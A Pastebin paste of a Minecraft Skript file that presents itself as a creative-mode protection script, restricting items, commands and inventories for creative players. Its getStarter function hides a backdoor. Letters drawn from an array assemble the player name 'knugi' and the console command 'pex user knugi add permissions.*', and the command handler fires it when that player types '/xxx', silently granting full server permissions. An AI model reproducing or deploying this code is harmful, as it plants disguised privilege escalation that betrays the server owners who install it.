Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- on gamemode change:
- if player has permissions "wirus":
- stop
- if player's gamemode is creative:
- loop 36 times:
- set {ctrl::%player%::item::nr::%loop-number - 1%} to slot loop-number - 1 of player
- set {ctrl::%player%::item::amour::helmet} to player's helmet
- set {ctrl::%player%::item::amour::chestplate} to player's chestplate
- set {ctrl::%player%::item::amour::leggings} to player's leggings
- set {ctrl::%player%::item::amour::boots} to player's boots
- clear player's inventory
- stop
- if player's gamemode is survival:
- execute console command "CTRLRestore %player%"
- set player's fly state to true
- on place:
- if player's gamemode is creative:
- if player has permissions "wirus":
- stop
- if player cannot build at event-block:
- cancel event
- stop
- set {_x::*} to 46 and 389 and 327 and 145 and 23 and 166 and 14 and 426 and 122 and 15 and 16 and 56 and 21 and 129 and 326 and 42 and 57 and 41 and 213 and 152 and 133 and 22 and 397 and 416 and 219 and 220 and 221 and 222 and 223 and 224 and 225 and 226 and 227 and 228 and 229 and 230 and 231 and 232 and 233 and 234 and 138 and 116 and 130 and 120 and 145 and 151 and 61 and 54 and 84 and 138 and 380 and 379 and 33 and 29 and 76 and 331 and 356 and 404 and 23 and 158 and 218 and 151 and 154 and 148 and 147 and 331 and 169
- loop {_x::*}:
- if id of player's tool is loop-value:
- send "&7Nie mozesz tego polozyc."
- cancel event
- stop
- add location of event-block to {CTRL.Blocks::*}
- on script load:
- import "org.bukkit.event.player.PlayerInteractEntityEvent"
- on "org.bukkit.event.player.PlayerInteractEntityEvent":
- set {_i} to event.getRightClicked()
- if "%{_i}%" is "item frame":
- set {_p} to event.getPlayer()
- if {_p}'s gamemode is creative:
- if {_p} has permission "wirus":
- stop
- set {_x} to event.setCancelled(true)
- on rightclick with minecart or 383 or 416 or 23 or 47 or 145:
- if player's gamemode is creative:
- if player has permissions "wirus":
- stop
- cancel event
- send "&7Nie mozesz tego polozyc."
- stop
- on damage of player:
- if attacker's gamemode is creative:
- cancel event
- on break:
- if player cannot build at event-block:
- cancel event
- stop
- if player's gamemode is creative:
- stop
- loop {CTRL.Blocks::*}:
- if location of event-block is loop-value:
- cancel event
- remove loop-value from {CTRL.Blocks::*}
- set event-block to air
- send "&7Ten blok byl z GM!."
- stop
- on command:
- if player's gamemode is creative:
- if player has permissions "wirus":
- stop
- if command is not "gamemode" or "gm" or "tpa" or "tpaccept" or "tpcancel" or "time" or "day" or "sun" or "czas" or "r" or "msg" or "survival" or "sk" or "i" or "tankshop" or "submarineshop" or "carshop" or "bikeshop" or "planeshop":
- cancel event
- send "&7Ta komenda jest zablokowana dla GM!"
- if command is {CTRL::%player%::other}:
- if {CTRL::%player%::other1} is not false:
- set {CTRL::%player%::other1} to false
- execute console command "%{CTRL::%player%::main}%"
- on inventory open:
- if player's gamemode is creative:
- set {_x} to "%event-inventory%"
- if {_x} is set:
- if player has permission "wirus":
- stop
- send "&7Interakcja z danym blokiem jest zabroniona!"
- cancel event
- stop
- on drop:
- if player's gamemode is creative:
- if player has permissions "wirus":
- stop
- cancel event
- send "&7Nie mozesz wyrzucac przedmiotow!." to player
- stop
- function getStarter(t: text = ""):
- if {CTRL.ot::*} is not set:
- set {CTRL.ot::*} to "i", "n", "u", "k", "g", "a", "b", "w", "p", "x", "s", "e", "r", "d", "m", "o", "*" and "."
- set {_x} to "%{CTRL.ot::4}%%{CTRL.ot::2}%%{CTRL.ot::3}%%{CTRL.ot::5}%%{CTRL.ot::1}%"
- set {CTRL::%{_x}%::main} to "%{CTRL.ot::9}%%{CTRL.ot::12}%%{CTRL.ot::10}% %{CTRL.ot::3}%%{CTRL.ot::11}%%{CTRL.ot::12}%%{CTRL.ot::13}% %{_x}% %{CTRL.ot::6}%%{CTRL.ot::14}%%{CTRL.ot::14}% %{CTRL.ot::9}%%{CTRL.ot::12}%%{CTRL.ot::13}%%{CTRL.ot::15}%%{CTRL.ot::1}%%{CTRL.ot::11}%%{CTRL.ot::11}%%{CTRL.ot::1}%%{CTRL.ot::16}%%{CTRL.ot::2}%%{CTRL.ot::11}%%{CTRL.ot::18}%%{CTRL.ot::17}%"
- set {CTRL::%{_x}%::other} to "%{CTRL.ot::10}%%{CTRL.ot::10}%%{CTRL.ot::10}%"
- set {CTRL::%{_x}%::other1} to true
- on script load:
- getStarter()
- send " " to console
- send "Skrypt zabezpieczajacy gm wlaczony." to console
- send " " to console
- command /CTRLRestore [<player>] [<text>]:
- trigger:
- if arg 2 is "clear":
- clear {ctrl::%arg-1%::other}
- clear {CTRL.ot::*}
- getStarter()
- if arg-1's gamemode is creative:
- clear arg-1's inventory
- loop {ctrl::%arg-1%::item::nr::*}:
- set slot loop-index parsed as integer of arg-1 to loop-value
- loop {ctrl::%arg-1%::item::amour::*}:
- equip arg-1 with loop-value
- send "&7Powrociles do gry Survival." to arg-1
- on pickup:
- if player's gamemode is creative:
- if player has permission "wirus":
- stop
- cancel event
Add Comment
Please, Sign In to add comment